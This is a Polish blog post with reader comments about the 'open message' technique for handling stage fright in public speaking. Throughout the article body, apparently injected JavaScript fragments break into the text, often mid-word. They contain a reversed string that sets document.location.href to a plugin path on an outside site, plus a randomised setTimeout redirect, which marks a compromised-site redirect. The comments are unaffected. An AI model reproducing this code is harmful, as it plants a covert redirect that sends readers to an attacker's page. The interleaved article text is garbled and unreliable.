Komunikat otwarty toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to narzędzie, dzięki któremu możemy błyskawicznie zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dować swój wizerunek jako osoby wiarygodnej, wartej zaufania i sympatii. Właścicielem nazwy “komunikat otwarty” jest znana postać medialna, szkoleniowiec, specjalista od wizerunku i marketingu politycznego, Piotr Tymochowicz. Mam nadzieję, że pan Piotr się nie obrazi za wykorzystanie swojego komunikatu otwartego tym bardziej, że ja nie czerpię z tego żadnych korzyści a co więcej wychodzę z kagankiem oświaty, przepraszam komunikatem otwartym 🙂 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do polskich internautów…
Na hasło “komunikat otwarty” trafiłem surfując po sieci. Pomyślałem, że narzędzie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to przyda się właśnie w mojej branży – branży wystąpień publicznych. Przyznam się, że wcześniej też je stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowałem, ale nieświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie. Genialny jestem, czy co??? (-;
Zaraz wytłumaczę o co chodzi. Szykuj się na mocne, może nawet przełomowe wrażenia, szczególnie w kwestii walki z tremą przez wystąpieniem publicznym.
Jeśli przed prezentacją bardzo się denerwujesz, powiedz o tym podczas wystąpienia! (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pierwszy poziom komunikatu otwartego) Nie krępuj się i wywal, co Ci leży na wątrobie. Powiedz: “Proszę Państwa, proszę mi wybaczyć ale bardzo się denerwuję, gdy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Państwa mówię. Dlatego proszę o wyrozumiałość, gdy zacznę się jąkać albo zabraknie mi słowa”
Ten chwyt stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowałem od czasu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czasu, kilka lat temu na początku pracy jako prelegent.
Teraz wiem, że mogłem pójść jeszcze dalej i wykorzystać drugi poziom komunikatu otwartego a mianowicie powiedzieć słuchaczom jak ciężko mi się przyznać lub wręcz jak bardzo się wstydzę, że się denerwuję. Możesz zatem powiedzieć tak: “Proszę mi uwierzyć w toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że trudno mi o tym mówić ale… strasznie denerwuję się ta prezentacją”.
Zauważ co się dzieje – wchodzisz głębiej w swoją intymność mówiąc o tym jak ci głupio, że o tym mówisz! Stajesz się coraz bliższy swoim widzom, jesteś jednym z nich – ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie denerwuje się przed wystąpieniem publicznym?!
A teraz najlepsze – wchodzimy na trzeci poziom komunikatu otwartego. Tu powiemy jeszcze więcej! A mianowicie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, jaką ulgę przynosi nam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że mamy odwagę przyznać się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czegoś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czego w normalnych warunkach trudno się przyznać czyli toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ogromnej, paraliżującej tremy.
Dzięki takim osobistym wyznaniom zyskamy przychylność audytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium (nie mylić z litoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tością), pokażemy się jako człowiek z krwi i kości z zaletami i słabościami. Jako jeden z nich. Na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatek, stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosując komunikat otwarty mamy odwagę aby na forum mówić o sobie, o swoich emocjach. Uwierz mi, niewiele osób toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to potrafi.
Bardzo polecam Ci stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowanie narzędzi komunikatu otwartego Piotra Tymochowicza. Zostawiam Ci natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast wybór poziomu tego komunikatu. Jeśli teraz nie jesteś gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towy/a na poziom nr 3, skorzystaj z “jedynki” lub “dwójki”. Sprawdź jak bardzo pomoże Ci toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to w przełamaniu stresu przed wystąpieniem publicznym. Bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że pomoże, nie mam wątpliwości. Sam sprawdziłem 🙂
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Cześć Robert! Jak zawsze masz rację, podobna otwartość jest wg mnie dobrze widziana, jeśli ekspert potrafi przyznać się do błędu lub niewiedzy – tak czy siak publika wyłapie, co ma wyłapać, więc po co dodatkowo ściemniać i wychodzić na krętacza? 🙂
Bartek,
zawsze mówię: nie wiesz, przyznaj się szczerze. Ludzie to docenią. Dodatkowo możesz obiecać im, że doślesz odpowiedź mailem albo oddzwonisz, gdy uzyskasz informacje w danej sprawie. Tak można na swoją korzyść obrócić trudną sytuację.
Robercie ! Jestem mówcą bardzo często i zawsze mam tremę, która mnie nie paralizuje ale po wystąpieniu jestem zmęczona tak jak bym napisała wypracowanie dyplomowe. Zawsze wydawało mi się, że gdy występuję to nie mogę pokazać słabości gdyż stracę wirygodność i pewność siebie i profesjonalizmu. Nigdy nie przyszło mi do głowy, żeby zastanowić się nad tym aby zacząć tak jak Ty proponujesz. Nie zwróciłam uwagi na rozpoczynanie swoich występów innych prelegentów czy mówców, a wierz mi jestem na szkoleniach w kraju i w świecie minimum 1 x w m-cu. Przypominam sobie pewną prelegentkę w Amsterdamie, która właśnie tak jak proponujesz rozpoczęła swój występ i pamiętam ją do dziś i właśnie wzbudziła we mnie sympatię. Myślę więc, że to jest to czego szukałam. Bardzo Ci dziękuję i życzę sukcesów.
Pozdrawiam
Ireno,
spróbuj i Ty takich rozwiązań jeśli trema stanie się trudna do zniesienia. Musimy tu rozróżnić dwie sprawy. pierwsza to takie bezsensowne marudzenie typu: nie działa mi sprzęt, miałam za mało czasu, nie jestem wystarczająco przygotowana” Ludzie tego nie lubią i od razu skreślają takiego prelegenta. Jeśli jednak przyznasz się szczerze do swojego zdenerwowania, a na dodatek powiesz, że trudno Ci się do takiej słabości przyznać, to od razu staniesz się bliższa swoim słuchaczom.
życzę powodzenia na scenie!
Wiem coś na ten temat. To była całodzienna konferencja. Byłem ostatnim prelegentem na ścieżce tematycznej. Przede mną m.in. zagraniczna sława i znakomitość wykładał po angielsku. Dwóch wspaniałych młodych dało popisowy duet prezentując bardzo dobre narzędzia do mało używanej a mającej duży potencjał metodyki rozwiązywania pewnej grupy problemów. I tak dalej. Gdzie mnie ze skromnym zakresem do takich gigantów??? Start był o 10, ja zaczynam około 17, a potem organizator zaprasza na bankiet o 19. Jedyny punkt zaczepienia to był “zakręcony” temat mojego wystąpienia. Zacząłem jakoś tak: “Poprzednicy wysoko podnieśli poprzeczkę i nie wiem jak zacząć. Nie będę do państwa mówił po angielsku. Nie rozdwoję się aby wspierać się argumentacją drugiego ja. W dodatku katar zatkał mi nos. Ale stanę na palcach, aby sięgnąć poziomu poprzedników i utrzymać waszą uwagę przez tę ostatnią godzinę konferencji. Godzinę dla tych, co chcą rozmawiać, bo związek tematu wystąpienia z metodyką wyjaśnię na przykładach w ciągu około 45 minut.” W rzeczywistości mówiłem jakieś 50 minut, a dyskusje kontynuowaliśmy jeszcze na bankiecie! A przecież przyznałem się do tego i owego na samym początku…
Parafrazując znaną wypowiedź o alkoholu i zakąsce: wszystkich prezentacji nie zrobisz perfekcyjnie, ale próbować warto.
Pozdrowienia dla odważnych! Jeszcze nie przytrafiło mi się oberwać pomidorem podczas występu, więc warto mówić (nie naruszając zasad, o których Robert tak świetnie pisze).
Witam serdecznie! Wielokrotnie dobrze przygotowana prezentacja wypada słabo. W jednym momencie zżera nas trema, głos drży a zamiast miłych słuchaczy wyobrażamy sobie krwiożercze piranie.Na nic nam się przyda udawanie kogo innego. Przyznanie się do swojej niedoskonałości uspokaja nasze sumienie jak również stawia nas w innym świetle. Słuchacze widzą w nas kogoś bliskiego, wybaczając drobne niedoskonałości.
Andrzeju,
w mojej książce “Nie boję się mówić” omawiam ten mechanizm. Przyznaję, że podsuwam tam pomysł jak perfidnie go wykorzystać! 🙂 “Lubimy ludzi podobnych do nas” to tylko część prawdy. “Lubimy ludzi podobnych do nas i… niedoskonałych”. To cała prawda! Jak to wykorzystać? Rozpoczynając nasze wystąpienie lub w jego trakcie, zróbmy coś nieporadnego (oczywiście delikatnego – nie przewracajmy mównicy, nie potykajmy się o kable i nie zrzucajmy rzutnika i laptopa ze stołu). Możemy na przykład coś upuścić na podłogę, notatki. Albo nieporadnie szukać pilota do rzutnika itp. Wzbudzi to w naszych odbiorcach ludzki odruch – chęć pomocy. Zawsze też nadarzy się okazja do wymiany kilku zdań w takich “wyreżyserowanej” sytuacji i mamy sojusznika na sali.
Tylko nie przesadzajmy z aranżowaniem takich sytuacji!
pozdrawiam
Witam!
Zgadzam się w pełni z artykułem. Ludzie odbierani są bardziej przyjaźnie przez grupę, kiedy przyznają się do swoich słabości. Także osobie prezentującej łatwiej i swobodniej prowadzić prezentację, kiedy wie, że nawet jak popełni błąd to świat się nie zawali. Prowadzę warsztaty dla małej grupy ludzi, nie mniej pewna trema mi towarzyszy. Ponieważ niemal cały czas się śmieję to bardzo rozładowuje tremę moją i uczestników.
Ludzie lubią komedie, na których aktorzy się o coś potykają, itd, to bardzo rozluźnia. Śmiech rozluźnia. Rozluźnienie- przed występem, w trakcie, czy po – publiczności przez niewinną nieporadność prowadzącego, może być bardzo fajną terapią poza werbalną. Mnie spontaniczne tego typu wpadki zdarzają się często i są przyjaźnie odbierane.
Pozdrawiam ciepło,
Aneta Śladowska
witaj Robercie chciałem ci podziękować za wspaniałe techniki które stosuje do dziś dzięki nimi potrafię bez stresu wypowiadać się na forum.
czyli, jak to powiedział jeden polityk “misja wykonana” 🙂
ale zaglądaj od czasu do czasu na blog!
pozdrawiam
Ciekawym jest nadzwyczaj nazwanie Piotra Tymochowicza psychologiem.
Ani nie jest nim formalnie , ani psychologią się nie zajmuje. Może to jego hobby?
Januszu,
psychologia to pewnie jego hobby 🙂 trochę się rozpędziłem a za uwagę dziękuję.
pozdrawiam
Witam,
mam pewne watpliwosci co do opisanej metody i bylbym wdzieczny za jakies pozytywne przyklady zaprzeczajace jej – ja mam zwykle problem zwiazany z hierarchia. Tzn wszystko jest ok jesli mam przemawiac, prowadzic prezentacje przed grupa ludzi ktorzy wiedza mniej na dany temat niz ja, lub gdy ich postrzeganie mnie nie ma wplywu na ocene mojej pracy. Problem zaczyna sie gdy musze zrobic jakas prezentacje przed mieszanym towarzystwem, tzn wlaczajac moich szefow oraz ich szefow…wtedy mam wrazenie ze przyznanie sie do tremy moze spowodowac, ze ocenia moj trick jako nieprofesjonalny. Co myslicie o “profesjonalnosci” mowienia o naszych lekach podczas przemowien publicznych?
Mam podobne wątpliwości co do metody. W szczególności w sytuacjach, które opisałeś powyżej. Jest ona niespójna z tak często wymienianym tu faktem: “publiczność z założenia jest przekonana, że wystąpienie będzie bardzo dobre”. Moim zdaniem jest to metoda dla bardzo początkujących mówców i im rzeczywiście może pomóc, profesjonaliści powinni unikać tego typu “samobiczowania”. Osobiście nie stosuję tej metody, chociaż próbowałem, ale nie przynosiła satysfakcjonujących rezultatów.
Łukasz, Marcin
co do przyznania się do tremy – nie jest to łatwe a na pewno jest nietypowe, zatem takie zachowanie może zapaść w pamięć widzom. Co do oceny takiego zachowania prezentera – zrobią to widzowie. Części z nich przypadnie to do gustu, pozostali mogą uznać to za brak profesjonalizmu albo chęć wzbudzenia litości u audytorium. Jeśli przemawiasz na zebraniu firmowym, przed szefostwem to zastanowiłbym się nad takim odkryciem 🙂 ale przyznam wam się że kilka lat temu zrobiłem to przemawiając przed “wszystkimi świętymi” w mojej firmie i nie zostało to przyjęte źle. Mówiąc o tremie powiedziałem jaka jest moja metoda na radzenie sobie z nią czyli na dodatek zdradziłem swoją “tajemnicę” 🙂 Na pewno macie rację pisząc, że metoda ta jest szczególnie przydatna dla początkujących mówców.
pozdrawiam serdecznie
Będę musiała zastosować te techniki ponownie .Kiedyś dawno temu nieświadomie podpierałam się – zdaniem: Proszę mi wybaczyć nerwy i chaotyczność , i po jakimś czasie pojawiał się większy spokój .Pod koniec wystąpienia odczuwałam inną moc -zadowolenie a nie dołowanie się ,że np;, nie wystąpiłam !.Dzięki
Lucyno
trzy komentarze jednego wieczora! Gratuluję
Mam nadzieję, że do podzielenia się z nami swoimi przemyśleniami skłoniły Cię, nie tylko wolny czas ale także ciekawe wpisy 🙂 Bardzo dziękuję za aktywność. Doceniam to, bo wiem jak sam rzadko decyduję się na komentowania artykułów na innych blogach, nawet takich artykułów, które mnie bardzo, bardzo zainteresowały.
Hej!
Przeczytałam właśnie Twój wpis i przypomniałam sobie film “8 mila” z Eminemem.
On również zastosował tam taką strategię (takie mam wrażenie), gdy w pojedynku na “rapowanie” wyjawił swoje słabości sam. Sprawiło to, że jego przeciwnik nie miał już broni przeciwko niemu, bo sam pokazał “swoje słabe strony” słuchaczom i tym zyskał ich przychylność.